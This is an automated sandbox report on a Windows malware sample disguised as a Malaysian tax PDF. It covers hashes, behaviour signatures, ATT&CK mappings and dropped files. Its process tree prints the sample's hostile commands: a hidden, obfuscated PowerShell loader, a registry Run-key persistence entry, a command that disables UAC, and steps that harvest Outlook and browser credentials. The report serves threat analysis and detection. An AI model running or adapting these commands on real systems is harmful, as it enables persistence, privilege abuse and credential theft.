Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-06-2024 07:12

General

  • Target

    LHDNM TAKSIRAN 2023·pdf.exe

  • Size

    639KB

  • MD5

    0609cbf05b1169cd11a37910df2d74c0

  • SHA1

    7d2dd3c50535783bd6d2755c3fa9b9f810c12f13

  • SHA256

    798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc

  • SHA512

    d1874d83b1b1f6765af5806564cd039cdd0ea03d149c58bff9deccc8d7c1587c46e8681ca00c3ec14801bab23a9b984f9fc1e8438608d415571dadc7ab3de576

  • SSDEEP

    6144:z9KOQS4B4GMSGJpFhaI27ySqUawlTFEHhq9/GtGOzx65MTOjbpUYpVslMDRkQZI:zsB4GOaJ6UrFh/GtGOzQ5MTOjb9pWeA

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • UAC bypass 3 TTPs 1 IoCs
  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 3 IoCs
  • Blocklisted process makes network request 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 4 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\LHDNM TAKSIRAN 2023·pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\LHDNM TAKSIRAN 2023·pdf.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:3160
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Skufflerne=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Distanceblnderne.Hes';$Maalesteder=$Skufflerne.SubString(61079,3);.$Maalesteder($Skufflerne)"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4504
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fukssvansen" /t REG_EXPAND_SZ /d "%Satrappernes% -windowstyle minimized $Foxfishes205=(Get-ItemProperty -Path 'HKCU:\Havnebassin\').Afdmpedes189;%Satrappernes% ($Foxfishes205)"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3772
        • C:\Windows\SysWOW64\reg.exe
          REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fukssvansen" /t REG_EXPAND_SZ /d "%Satrappernes% -windowstyle minimized $Foxfishes205=(Get-ItemProperty -Path 'HKCU:\Havnebassin\').Afdmpedes189;%Satrappernes% ($Foxfishes205)"
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:1888
      • C:\Windows\SysWOW64\cmd.exe
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:336
        • C:\Windows\SysWOW64\reg.exe
          C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
          4⤵
          • UAC bypass
          • Modifies registry key
          PID:3624
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\yfsnynecwffxdkhhvpehk"
        3⤵
          PID:1884
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\yfsnynecwffxdkhhvpehk"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1016
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\ihxyzfpekoxcfrvlmzzivnop"
          3⤵
          • Accesses Microsoft Outlook accounts
          PID:1820
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\kbdqzqaxgwppqxrpwkmkysigrppy"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5056

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Execution

    Command and Scripting Interpreter

    1
    T1059

    PowerShell

    1
    T1059.001

    Persistence

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Privilege Escalation

    Abuse Elevation Control Mechanism

    1
    T1548

    Bypass User Account Control

    1
    T1548.002

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Defense Evasion

    Abuse Elevation Control Mechanism

    1
    T1548

    Bypass User Account Control

    1
    T1548.002

    Impair Defenses

    1
    T1562

    Disable or Modify Tools

    1
    T1562.001

    Modify Registry

    3
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Collection

    Email Collection

    1
    T1114

    Command and Control

    Web Service

    1
    T1102

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\remcos\logs.dat
      Filesize

      144B

      MD5

      54a8ba5d1c7f80fd7e0383449652a8e8

      SHA1

      cfa211eb9f74f71cccfb0d54ddd341b6a11b818d

      SHA256

      c5805419d4271e8be21ae6d4bf9caa0c502811f20bcdc05911cb3dd025e3378b

      SHA512

      1ba7660bdc5085c336ff0b459cb0cf490b70a9481188acb798148a497ad460dad93ad6f9f5f32d4dd64906d85e448c3c1d9367854f49185e2eac64c8131e849b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rhlgkgqf.los.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\nsg3C8D.tmp\AdvSplash.dll
      Filesize

      6KB

      MD5

      6def2cf3daf850acdc1a3e7340a439c4

      SHA1

      95d0d26f60cd5af697502cd5e53a54913ab188fb

      SHA256

      3ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175

      SHA512

      16b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413

    • C:\Users\Admin\AppData\Local\Temp\nsg3C8D.tmp\BgImage.dll
      Filesize

      7KB

      MD5

      2bb17d45e5ad92053ce1e500408dd8a9

      SHA1

      f5d3a7ee6e28df532e9ce33976c92ff30a5665e4

      SHA256

      71ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53

      SHA512

      efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f

    • C:\Users\Admin\AppData\Local\Temp\nsg3C8D.tmp\UserInfo.dll
      Filesize

      4KB

      MD5

      8ef0e4eb7c89cdd2b552de746f5e2a53

      SHA1

      820f681e7cec409a02b194a487d1c8af1038acf0

      SHA256

      41293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc

      SHA512

      a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5

    • C:\Users\Admin\AppData\Local\Temp\nsg3C8D.tmp\nsExec.dll
      Filesize

      6KB

      MD5

      c129bc26a26be6f5816a03520bb37833

      SHA1

      18100042155f948301701744b131c516bf26ddb8

      SHA256

      d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4

      SHA512

      dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63

    • C:\Users\Admin\AppData\Local\Temp\yfsnynecwffxdkhhvpehk
      Filesize

      4KB

      MD5

      042bbbff30c31fcbdd7f9b0ed3935ca5

      SHA1

      c333db2dceaf9a524147155c79756bc32eda6b03

      SHA256

      626ae16f54b4ca656b0267dade381d30bf042a06ba69b8851e33ab14da2bd9fe

      SHA512

      7f3a8eee89225ced48f8bc69d168713377e0316df3e46b544d9f7bc2c84305020eca3094c8246c8c934e22bd7643ae11f4a1560c3fe7aa717604869bcffa48fe

    • C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Distanceblnderne.Hes
      Filesize

      69KB

      MD5

      6a771e12b116ad2c03bccf6b01791e0c

      SHA1

      9d953184eebf637915aaa68f26781ed444927a9d

      SHA256

      71741f649be6fcc6fda9b6439afa7edee7fb356573a8fc4724e01524b6a4e3dc

      SHA512

      422e522dcd7c46ff3630a645045c1ccba49ad5d577a37d9bb54562c7abaf030bbd62086311a2c950c8a6f4c74e6435d247bd7487152056224e639a5bdec41c5d

    • C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Nonwelcome.Vol
      Filesize

      307KB

      MD5

      20b4d6b234775cb7b37ec559e365d939

      SHA1

      138a87eebc4daf86c42dd4acdbb5664b2b9658ed

      SHA256

      e8c8e71b804cc0c9adbcb6de8567e58f5faa32f6f921bca004a68cd5b423154f

      SHA512

      f43a369b6c1aff764dfd6f6763a348a2ef34d194353924917aebe661c81d816dd7a3b618984d99f09ac1d1610d54561be2c973ac7a3bd2aedec38adea895f096

    • C:\Users\Admin\Pictures\slukningen.lnk
      Filesize

      986B

      MD5

      3add387185f34724d251c442138d375e

      SHA1

      409e0369179a9c1c1404f6dd05684ef68a672748

      SHA256

      eaaefd7d4c70650f0ae227b9d0acf0933a34a5028358dd053c0320467f488476

      SHA512

      9db0f79fa1441d7a2887118fe1bfb8368197c48c130746c6c05133af5cf3dada798a95884740c28011fac3dd284b6181ee7402dd599c11d43db264cc32fe0de2

    • memory/1016-220-0x0000000000400000-0x0000000000478000-memory.dmp
      Filesize

      480KB

    • memory/1016-225-0x0000000000400000-0x0000000000478000-memory.dmp
      Filesize

      480KB

    • memory/1016-217-0x0000000000400000-0x0000000000478000-memory.dmp
      Filesize

      480KB

    • memory/1820-224-0x0000000000400000-0x0000000000462000-memory.dmp
      Filesize

      392KB

    • memory/1820-221-0x0000000000400000-0x0000000000462000-memory.dmp
      Filesize

      392KB

    • memory/1820-218-0x0000000000400000-0x0000000000462000-memory.dmp
      Filesize

      392KB

    • memory/4504-171-0x0000000006100000-0x0000000006166000-memory.dmp
      Filesize

      408KB

    • memory/4504-215-0x00000000090B0000-0x000000000BFAA000-memory.dmp
      Filesize

      47.0MB

    • memory/4504-186-0x0000000006CC0000-0x0000000006CDA000-memory.dmp
      Filesize

      104KB

    • memory/4504-187-0x0000000007790000-0x00000000077B2000-memory.dmp
      Filesize

      136KB

    • memory/4504-188-0x0000000007E00000-0x00000000083A4000-memory.dmp
      Filesize

      5.6MB

    • memory/4504-184-0x00000000067E0000-0x000000000682C000-memory.dmp
      Filesize

      304KB

    • memory/4504-190-0x0000000008A30000-0x00000000090AA000-memory.dmp
      Filesize

      6.5MB

    • memory/4504-192-0x0000000074040000-0x00000000747F0000-memory.dmp
      Filesize

      7.7MB

    • memory/4504-193-0x0000000074040000-0x00000000747F0000-memory.dmp
      Filesize

      7.7MB

    • memory/4504-194-0x0000000074040000-0x00000000747F0000-memory.dmp
      Filesize

      7.7MB

    • memory/4504-183-0x00000000067B0000-0x00000000067CE000-memory.dmp
      Filesize

      120KB

    • memory/4504-196-0x0000000074040000-0x00000000747F0000-memory.dmp
      Filesize

      7.7MB

    • memory/4504-198-0x0000000074040000-0x00000000747F0000-memory.dmp
      Filesize

      7.7MB

    • memory/4504-197-0x00000000090B0000-0x000000000BFAA000-memory.dmp
      Filesize

      47.0MB

    • memory/4504-199-0x000000007404E000-0x000000007404F000-memory.dmp
      Filesize

      4KB

    • memory/4504-200-0x0000000074040000-0x00000000747F0000-memory.dmp
      Filesize

      7.7MB

    • memory/4504-201-0x0000000074040000-0x00000000747F0000-memory.dmp
      Filesize

      7.7MB

    • memory/4504-185-0x0000000006D10000-0x0000000006DA6000-memory.dmp
      Filesize

      600KB

    • memory/4504-173-0x00000000061E0000-0x0000000006534000-memory.dmp
      Filesize

      3.3MB

    • memory/4504-172-0x0000000006170000-0x00000000061D6000-memory.dmp
      Filesize

      408KB

    • memory/4504-165-0x000000007404E000-0x000000007404F000-memory.dmp
      Filesize

      4KB

    • memory/4504-170-0x0000000006060000-0x0000000006082000-memory.dmp
      Filesize

      136KB

    • memory/4504-169-0x0000000074040000-0x00000000747F0000-memory.dmp
      Filesize

      7.7MB

    • memory/4504-244-0x0000000074040000-0x00000000747F0000-memory.dmp
      Filesize

      7.7MB

    • memory/4504-168-0x0000000005930000-0x0000000005F58000-memory.dmp
      Filesize

      6.2MB

    • memory/4504-242-0x0000000074040000-0x00000000747F0000-memory.dmp
      Filesize

      7.7MB

    • memory/4504-167-0x0000000074040000-0x00000000747F0000-memory.dmp
      Filesize

      7.7MB

    • memory/4504-166-0x00000000031B0000-0x00000000031E6000-memory.dmp
      Filesize

      216KB

    • memory/4504-232-0x0000000007010000-0x0000000007029000-memory.dmp
      Filesize

      100KB

    • memory/4504-236-0x0000000007010000-0x0000000007029000-memory.dmp
      Filesize

      100KB

    • memory/4504-235-0x0000000007010000-0x0000000007029000-memory.dmp
      Filesize

      100KB

    • memory/4504-237-0x0000000074040000-0x00000000747F0000-memory.dmp
      Filesize

      7.7MB

    • memory/5056-219-0x0000000000400000-0x0000000000424000-memory.dmp
      Filesize

      144KB

    • memory/5056-223-0x0000000000400000-0x0000000000424000-memory.dmp
      Filesize

      144KB

    • memory/5056-222-0x0000000000400000-0x0000000000424000-memory.dmp
      Filesize

      144KB